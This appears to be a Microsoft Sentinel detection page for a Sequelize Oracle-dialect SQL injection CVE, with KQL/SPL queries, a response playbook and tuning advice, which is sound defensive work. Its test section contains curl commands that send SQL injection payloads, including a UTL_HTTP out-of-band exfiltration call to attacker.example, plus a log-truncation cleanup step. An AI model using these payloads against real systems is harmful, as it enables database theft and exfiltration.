Detect Sequelize SQL Injection via Oracle Dialect (CVE-2026-69240) in Microsoft Sentinel
Detects exploitation and presence of CVE-2026-69240, a critical SQL injection vulnerability (CWE-89, CVSS 9.8) in the Sequelize ORM (npm package 'sequelize') affecting versions < 6.37.4 when using the Oracle database dialect. Improper neutralization of special elements in queries allows an attacker to inject arbitrary SQL through crafted input reaching Sequelize query-building methods, leading to unauthorized data access, modification, or authentication bypass against the backing Oracle database. A public proof-of-concept exists (GHSA-v8fg-2rw7-q452). This detection surfaces both vulnerable-version indicators (installed package metadata, package.json/lockfile entries) and runtime SQL injection attack patterns against Node.js applications using Sequelize with Oracle.
MITRE ATT&CK
- Tactic
- Collection Initial Access
KQL Detection Query
let sqliPatterns = dynamic(["' OR '1'='1", "UNION SELECT", "UNION ALL SELECT", "'||", "';--", "/*", "*/", "DBMS_", "UTL_HTTP", "SYS.", "ALL_TABLES", "' AND 1=1", "' AND 1=2"]);
let webLogs = union isfuzzy=true W3CIISLog, AzureDiagnostics, Syslog
| extend RawUri = tostring(coalesce(column_ifexists("csUriQuery", ""), column_ifexists("requestUri_s", ""), column_ifexists("SyslogMessage", "")))
| extend DecodedUri = url_decode(RawUri);
webLogs
| where isnotempty(DecodedUri)
| where DecodedUri has_any (sqliPatterns)
| extend MatchedPattern = tostring(set_intersection(split(toupper(DecodedUri), " "), split(toupper(strcat_array(sqliPatterns, " ")), " ")))
| project TimeGenerated, DecodedUri, RawUri, Computer = column_ifexists("Computer", ""), SourceIp = column_ifexists("cIP", "")
| sort by TimeGenerated descIdentifies SQL injection payload patterns (Oracle-specific keywords such as DBMS_, UTL_HTTP, SYS., and classic tautologies) in web request URIs and query strings reaching Node.js/Sequelize-backed applications. Oracle-specific tokens raise confidence that the target is the vulnerable dialect path.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate application queries or admin tools that legitimately contain SQL keywords in parameters
- Security scanners and DAST tools (e.g., Burp, ZAP) running authorized assessments
- Search or reporting features that pass SQL-like fragments as user input
Other platforms for CVE-2026-69240
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Oracle SQLi payload against Sequelize endpoint (lab)
Expected signal: Web/proxy access log entry containing the decoded SQLi payload with UNION SELECT and SYS. tokens from source 127.0.0.1.
- Test 2Trigger Oracle out-of-band callback token (lab)
Expected signal: Access log entry containing decoded UTL_HTTP.REQUEST payload; if a lab Oracle DB is attached, an outbound DNS/HTTP callback attempt.
- Test 3Detect vulnerable sequelize package version on host
Expected signal: Process execution of find/node enumerating node_modules; stdout listing sequelize versions below 6.37.4.
- Test 4Windows: enumerate vulnerable sequelize in Node projects
Expected signal: PowerShell Get-ChildItem/Select-String execution recorded in Script Block logging; output listing package.json files referencing vulnerable sequelize versions.
Response Playbook
Triage
- Confirm whether the targeted application uses Sequelize with the Oracle dialect (check package.json/lockfiles for 'sequelize' < 6.37.4 and the 'oracledb'/'@sequelize/oracle' driver dependency).
- Decode and inspect the flagged request payload for Oracle-specific SQLi tokens (DBMS_, UTL_HTTP, UTL_INADDR, SYS., ALL_TABLES) versus generic scanner noise.
- Correlate the source IP against reputation/WAF logs and determine whether prior reconnaissance or authentication attempts came from the same source.
- Review application and Oracle DB query logs for anomalous or malformed SQL statements generated by Sequelize around the event time.
Containment
- Block the offending source IP(s) at the WAF/edge and add a temporary WAF rule for the observed Oracle SQLi tokens.
- Upgrade the sequelize package to >= 6.37.4 across affected services and redeploy; where immediate upgrade is impossible, apply strict parameter allow-listing/validation in front of Sequelize query calls.
- Rotate any database credentials that may have been exposed and restrict the Oracle DB account used by the app to least privilege.
Evidence Collection
- Preserve raw web/proxy/WAF logs containing the full request URI, headers, body, and source IP for the affected time window.
- Capture Oracle database audit/query logs (V$SQL, audit trail) showing the executed statements resulting from the injection.
- Snapshot the application host and record the installed sequelize version, lockfiles, and running process arguments.
Escalation Criteria
- !Escalate to incident response if Oracle DB audit logs confirm successful execution of injected SQL (data read, modification, or out-of-band UTL_HTTP callbacks).
- !Escalate if evidence indicates data exfiltration, authentication bypass, or lateral movement from the database host.
- !Escalate to application owners and change management if the vulnerable version is confirmed in a production, internet-facing service.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web/proxy/WAF access logs containing decoded SQLi payloads and source IPs - >
Oracle DB audit trail and V$SQL entries showing injected statements - >
Application host package.json/package-lock.json/yarn.lock recording the vulnerable sequelize version - >
Outbound network connections from the DB host indicating UTL_HTTP/UTL_INADDR out-of-band exfiltration
Tuning Guidance
Baseline legitimate parameters in your applications that contain SQL keywords (search boxes, BI/query-builder features) and exclude those specific endpoints or parameter names. Prioritize alerts containing Oracle-specific tokens (DBMS_, UTL_HTTP, UTL_INADDR, SYS., ALL_TABLES) since these strongly indicate targeting of the vulnerable dialect rather than generic scanning. Allow-list known scanner source IPs during authorized assessments. Combine web-layer detections with Oracle DB audit logging to confirm whether injected SQL actually executed before escalating.
Hunting Queries
Hunts for Oracle-specific SQL injection function references across web logs to surface targeted exploitation of the Sequelize Oracle dialect that generic SQLi signatures might miss.
union isfuzzy=true W3CIISLog, Syslog | extend U = url_decode(tostring(coalesce(column_ifexists("csUriQuery",""), column_ifexists("SyslogMessage","")))) | where U has_any ("UTL_HTTP", "UTL_INADDR", "DBMS_", "ALL_TABLES", "SYS.") | summarize count() by U, bin(TimeGenerated, 1h)index=web | eval d=urldecode(uri_query) | search d="*UTL_HTTP*" OR d="*UTL_INADDR*" OR d="*DBMS_*" OR d="*ALL_TABLES*" | stats count by src_ip, d, hostAtomic Red Team Tests
Sends a classic tautology plus Oracle-specific token to a lab application backed by vulnerable Sequelize/Oracle to generate detection telemetry.
Command
curl -s 'http://127.0.0.1:3000/api/users?name=admin%27%20OR%20%271%27%3D%271%20UNION%20SELECT%20banner%20FROM%20SYS.V_%24VERSION--' -o /dev/null -w '%{http_code}\n'Cleanup
echo 'No persistent artifacts; clear app/web access logs in lab if desired: truncate -s 0 /var/log/nginx/access.log'Expected Telemetry
Web/proxy access log entry containing the decoded SQLi payload with UNION SELECT and SYS. tokens from source 127.0.0.1.
Expected Detection
KQL/SPL web-layer rules fire on the UNION SELECT and SYS. Oracle tokens in the request URI.
Sends a UTL_HTTP-style out-of-band exfiltration payload to a lab Sequelize/Oracle endpoint to validate detection of Oracle-specific injection functions.
Command
curl -s 'http://127.0.0.1:3000/search?q=x%27%7C%7C%28SELECT%20UTL_HTTP.REQUEST%28%27http%3A%2F%2Fattacker.example%2Fx%27%29%20FROM%20DUAL%29--' -o /dev/nullCleanup
echo 'No files created; rotate lab web logs if desired'Expected Telemetry
Access log entry containing decoded UTL_HTTP.REQUEST payload; if a lab Oracle DB is attached, an outbound DNS/HTTP callback attempt.
Expected Detection
Hunting queries and web-layer rules match on the UTL_HTTP Oracle-specific token.
Enumerates installed sequelize versions in Node.js projects to identify hosts running versions < 6.37.4 affected by CVE-2026-69240.
Command
find / -type d -name node_modules -prune 2>/dev/null -exec sh -c 'for d; do v=$(node -e "try{console.log(require(\"$d/sequelize/package.json\").version)}catch(e){}" 2>/dev/null); [ -n "$v" ] && echo "$d/sequelize $v"; done' _ {} +Cleanup
echo 'Read-only enumeration; no cleanup required'Expected Telemetry
Process execution of find/node enumerating node_modules; stdout listing sequelize versions below 6.37.4.
Expected Detection
Inventory/EDR process telemetry shows package enumeration; vulnerable versions (< 6.37.4) flagged for remediation.
Scans Windows hosts for package-lock.json/package.json entries pinning sequelize below the fixed 6.37.4 version.
Command
Get-ChildItem -Path C:\ -Recurse -Filter package.json -ErrorAction SilentlyContinue | Select-String -Pattern '"sequelize"\s*:\s*"[^"]*6\.(3[0-6]|[0-2]?[0-9])\.' | Select-Object Path,LineCleanup
Write-Output 'Read-only enumeration; no cleanup required'Expected Telemetry
PowerShell Get-ChildItem/Select-String execution recorded in Script Block logging; output listing package.json files referencing vulnerable sequelize versions.
Expected Detection
EDR/PowerShell logging captures the enumeration; matched files flagged as running sequelize < 6.37.4.